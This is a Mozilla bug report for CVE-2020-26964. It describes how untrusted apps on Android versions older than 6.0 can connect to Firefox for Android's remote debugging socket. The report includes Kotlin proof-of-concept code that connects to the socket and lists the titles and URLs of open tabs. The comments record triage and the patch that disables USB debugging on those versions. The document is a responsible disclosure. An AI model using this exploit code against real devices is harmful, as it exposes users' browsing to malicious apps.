1658865 - (CVE-2020-26964) Untrusted apps can connect Fenix's remote debugging socket on older Android devices

Status: RESOLVED FIXED

(Fenix :: General, task)

Description

[Muneaki Nishimura]

Attachment: remote_debug.gif

I'm not sure whether this is a security bug or by design (i.e., already considered & accepted risk), but Fenix's remote debugging socket can be connected from untrusted apps if Android OS version is older than 6.

When user enables "Remote debbuging via USB", Fenix creates an unix domain socket that name is firefox-debugger-socket. That socket is not explicitly protected by Fenix itself but it's not connectable from untrusted apps because unix sockets are banned by Android's SELinux policy (below).
https://android.googlesource.com/platform/external/sepolicy/+/57531cacb40682be4b1189c721fd1e7f25bf3786/untrusted_app.te#137

But the SELinux policy was enforced from Android version 6.0 (Marshmallow).
Android older than 6.0 (such as 5.1 Lollipop) allows to use them without any permissions.

As you know Android 5.1 is very old, but still they has about 8% share. Also Mozilla website clearly mentions that Firefox is compatible with Android 4.1 or above devices (below).
https://support.mozilla.org/en-US/kb/will-firefox-work-my-mobile-device#mobile::m79

If so, in order to protect the debugger socket, there should be some protections in Fenix itself, for example, hiding "Remote debbuging via USB" button on old devices.

The following Kotlin code can reproduce this issue on Nexus 6 emulator with Android 5.1 stock image. See also attached animation gif for the demo.

var socket = LocalSocket()
var addr = LocalSocketAddress("org.mozilla.fenix/firefox-debugger-socket")
socket.connect(addr)
Toast.makeText(applicationContext, "Connected", Toast.LENGTH_SHORT).show()
var reader: Scanner = Scanner(socket.getInputStream())
var writer: OutputStream = socket.getOutputStream()
reader.nextLine()

// List tab request
var req = "48:{\"type\":\"listTabs\",\"favicons\":false,\"to\":\"root\"}"
writer.write((req + '\n').toByteArray(Charset.defaultCharset()))

// Parse response
var resp = reader.nextLine().toString()
var index = resp.indexOf("{", 0)
var tabs = JSONObject(resp.substring(index)).getJSONArray("tabs")

// Show tab info
for(i in 0 until tabs.length()) {
    var tab = tabs.getJSONObject(i)
    var outerWindowID = tab.getInt("outerWindowID")
    var title = tab.getString("title")
    var url = tab.getString("url")
    var output = "#${i+1} Window ID: ${outerWindowID}\nTitle: ${title}\n URL: ${url}"
    Toast.makeText(applicationContext, output, Toast.LENGTH_LONG).show()
}
socket.close()

Comment 1

[Frederik Braun [:freddy]]

Thank you for providing a demo!

I think this is sec-low. I could be convinced that this is sec-moderate if the affected Android versions weren't so old. It still requires the user to run a bad app.

Comment 2

[Frederik Braun [:freddy]]

Stefan, what's our support for Android 5.1. Is this here a WONTFIX?

Comment 3

[Kevin Brosnan [Ex-Mozilla]]

We still support Android 5.0 and 5.1. It is not 8% of users it is under 4%. We should disable this for Android 5.0 and 5.1. Should be able to stop this by disabling the USB debugging option in the affected Android versions. We should document it at https://developer.mozilla.org/en-US/docs/Tools/about:debugging#Connecting_to_a_remote_device that Android 5.0 and 5.1 do not have this feature.

Comment 4

[Petru-Mugurel Lingurar [:petru]]

Filed https://github.com/mozilla-mobile/fenix/issues/16250 for fixing this on Fenix.

Comment 5

[Sebastian Kaspari (:sebastian; :pocmo)]

A patch landed on mater in the Fenix repo that will disable USB debugging for Android < 6.0 devices:
https://github.com/mozilla-mobile/fenix/commit/3cb2c83980a3fd799ddeef2d3f0745a17f73bef4

Comment 6

[Ryan VanderMeulen [:RyanVM]]

Seems like this would be safe to uplift to 83?

Comment 7

[Stefan Arentz | :st3fan | ⏰ EST | he/him]

Yeah lets uplift.

Comment 8

[Sebastian Kaspari (:sebastian; :pocmo)]

Uplift PR: https://github.com/mozilla-mobile/fenix/pull/16322

Comment 9

[Sebastian Kaspari (:sebastian; :pocmo)]

Patch landed on the 83 release branch and should get out with 83 Beta 3 later this week.

Comment 10

[Tom Ritter [:tjr]]

Attachment: advisory.txt

Comment 11

[Tom Ritter [:tjr]]

Attachment: advisory.txt